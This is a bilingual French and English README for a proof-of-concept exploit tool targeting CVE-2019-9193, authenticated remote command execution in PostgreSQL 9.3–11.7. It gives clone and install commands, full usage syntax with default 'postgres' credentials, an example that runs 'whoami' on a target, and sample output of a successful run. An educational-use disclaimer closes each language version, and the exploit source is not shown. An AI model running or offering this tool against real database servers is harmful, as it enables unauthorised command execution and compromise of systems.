
Outil PoC conçu pour exploiter une vulnérabilité authentifiée d'exécution de code à distance (RCE) dans certaines versions de PostgreSQL (9.3 - 11.7)
GenPostgresRCEExploit est un outil PoC conçu pour exploiter une vulnérabilité d'exécution de code à distance (RCE) authentifiée dans certaines versions de PostgreSQL (9.3 - 11.7). Il permet aux utilisateurs authentifiés d'exécuter des commandes système sur un serveur de base de données PostgreSQL vulnérable à CVE-2019-9193.
psycopg2 via pip)libpq-dev via apt)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip : Adresse IP du serveur PostgreSQL (Défaut : 127.0.0.1)-p, --port : Port du serveur PostgreSQL (Défaut : 5432)-d, --database : Nom de la base de données PostgreSQL (Défaut : template1)-U, --user : Nom d'utilisateur pour se connecter au serveur PostgreSQL (Défaut : postgres)-P, --password : Mot de passe pour se connecter au serveur PostgreSQL (Défaut : postgres)-c, ---command : Commande système à exécuter sur le serveur-t, --timeout : Délai de connexion en secondes (Défaut : 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
Cet exemple se connecte au serveur PostgreSQL à 192.168.1.10, s'authentifie avec les identifiants fournis et exécute la commande whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
Cet outil est destiné uniquement à des fins éducatives et de tests éthiques. L'utilisation non autorisée de cet outil contre tout système est illégale et strictement interdite. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
GenPostgresRCEExploit is a PoC exploit designed to exploit remote code execution (RCE) vulnerability in certain versions of PostgreSQL (9.3 - 11.7). The program allows authenticated users to execute system commands on a PostgreSQL server vulnerable to CVE-2019-9193.
psycopg2 package)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip: IP address of PostgreSQL server (Default: 127.0.0.1)-p, --port: PostgreSQL server port (Default: 5432)-d, --database: PostgreSQL database name (Default: template1)-U, --user: Username to connect to the PostgreSQL server (Default: postgres)-P, --password: Password to connect to PostgreSQL server (Default: postgres)-c, --command: System command to execute on the server-t, --timeout: Connection timeout in seconds (Default: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
In this example, the program connects to the PostgreSQL server at 192.168.1.10, authenticates with the specified credentials, and executes the whoami command.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
This tool is for educational purposes and legal testing only. Unauthorized use of this tool against any systems is illegal and strictly prohibited. The authors are not responsible for any misuse.